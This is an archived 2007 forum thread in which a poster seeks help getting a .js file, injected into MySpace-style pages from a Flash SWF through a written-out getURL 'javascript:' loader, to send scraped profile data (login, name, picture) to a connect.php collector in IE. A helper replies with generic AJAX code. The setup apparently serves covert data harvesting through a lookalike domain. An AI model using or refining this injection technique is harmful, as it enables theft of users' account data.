View Full Version : Need Javascript Expert

02-09-2007, 12:59 AM
WA Note: URL to .js file removed at the request of OP.

Is the link to the JS file... I am trying to get it to work in an SWF (with
getURL("javascript:var e=document.createElement('script');e.src='sqltrack.js';document.getElementsByTagName('head')[0].appendChild(e);void(0);");) Wich basicly sets a javascript: URL to make it callupon the JS file... when I do that... the .js file loads in both IE and FF and runs 99% of the functions.. but it doesnt send the strings to the connect.php file in the IE browser... everything else does fine... What is wrong that is causing it to not work all the way in IE?

It works 100% in all browsers if you use another method besides SWF to load the .js file ... and the .js file loads and does 99% of the functions with SWF but it does not send the stuff to connect.php

BTW: Dont say it is because of the allowscriptaccess=never issue , because I already got that taken care of ;) ... and it still loads all the other functions in the JS file with SWF .. it just doesnt send the info to connect.php

02-09-2007, 04:33 AM
BUMP: I totally "Remodeled" the post and gave alot of detials to what I am wanting to do.

02-09-2007, 06:08 AM
IMPORTANT UPDATE: Someone said it had to do something with "document.tp.responseText "
(the stuff that gets the information from http://' + document.location.host + '/index.cfm?fuseaction=user ) ... but the thing is... with the JS file loaded on the page other than the SWF method on that page , and if you type "javascript:document.tp.responseText" , it will take you to a replica of the myspace home page (like it should) .. but if you go to a page with an SWF calling upon that JS file and you type "javascript:document.tp.responseText" in the address bar it takes you to a blank white page in IE only.

02-09-2007, 12:01 PM
So you are using flash javascript?

02-09-2007, 07:02 PM
no... I am using flash to exicute javascript (exictute a .js file on a page) ..

I am basicly using getURL (meaning to exicute a URL) to exicute a bookmarklet (javascript: URL) to exicute a .js file. Please see the flash code I used above to exicute JS.

Could it be because I also exicute void(0); at the end of the stuff that exicutes the JS? I added that because it wont redirect to stuff that says "[object HTMLScriptElement]"

02-09-2007, 07:56 PM
hmmmm this is a puzzling one, sadly I never played with calling javascript from within flash...

From what I can tell you are using JS to create a new script dynamicly on the page and set its source to the JS file.

anyway from what I can see the getUrl command is correct, personally I would do it that way I'd already have the JS code on the page and execute it within flash but unsure if you can do that and stuff.

As for your problem it appears to be the Javascript file that is having the problems, I have looked at the JS source and noticed you are using an AJAX method to GET the details from the server. The problem is why are you using document.tp to start with???? I have never seen this type of AJAX function use document properties, i'll post the one I use which works in all browsers that suppert the XML backend.

// JavaScript Document
function getHTTPObject() {
var xmlhttp;
@if (@_jscript_version >= 5)
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
xmlhttp = false;
@end @*/
if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp = false;
return xmlhttp;
var http = getHTTPObject(); // We create the HTTP Object
// End XML Object Loader
var url = "urlhereisvoid"; // The server-side script

I would then do the following

// grab the data from the server and do what needs to be done
PARAMETERS = "name=" + encodeURI(document.getElementById("name").value);
PARAMETERS = PARAMETERS + "&email=" + encodeURI(document.getElementById("email").value);
PARAMETERS = PARAMETERS + "&comments=" + encodeURI(document.getElementById("comments").value);
PARAMETERS = PARAMETERS + "&url=" + encodeURI(document.getElementById("url").value);

var URL = "<? echo $websiteurl;?>AJAX/testimonials_ajax.php?"+PARAMETERS;
// post the info to the URL
http.onreadystatechange = testimonialsent;
http.open('GET', URL, true);

give that a try, just incase you want to see here is parts of the testimonialsent() function

if (http.readyState == 4){
RESPONSE = http.responseText;
document.getElementById("Submit").disabled = false;

I use the response to check if the commands where done, if i get a 1 on the first entry then everything went ok otherwise i show the response text in a DIV (which is a list of the errors)

hope that helps

02-10-2007, 08:11 PM
what part do I replace , seeing I got to do findpict , findlogin , findname , etc... It works fine when I do any other way... but when I use flash it doesnt work... (I am using an <object tag) ... seeing the place I am loading it on only allows <object , param, etc.... but like i said.. the JS works fine , it just doesnt send the stuff to connect.php in IE ... But i am not a 100% javascript pro here... So i'd need to know step by step what to replace , etc

02-11-2007, 01:37 AM
UPDATE: http://imaqeshack.us/image2.js has a simular JS as I do (that pretty much does the same thing that I want to accomplish) ... except his work 100%... what did he do differently and what should I do differently in mine to get mine to work 100% like his does?

WA Note: URL to .js file removed at the request of OP.

02-11-2007, 12:22 PM
Without seeing the JS file again which you have removed I cant cure the problem.

If you want to email me the JS file i'll rewrite the function for you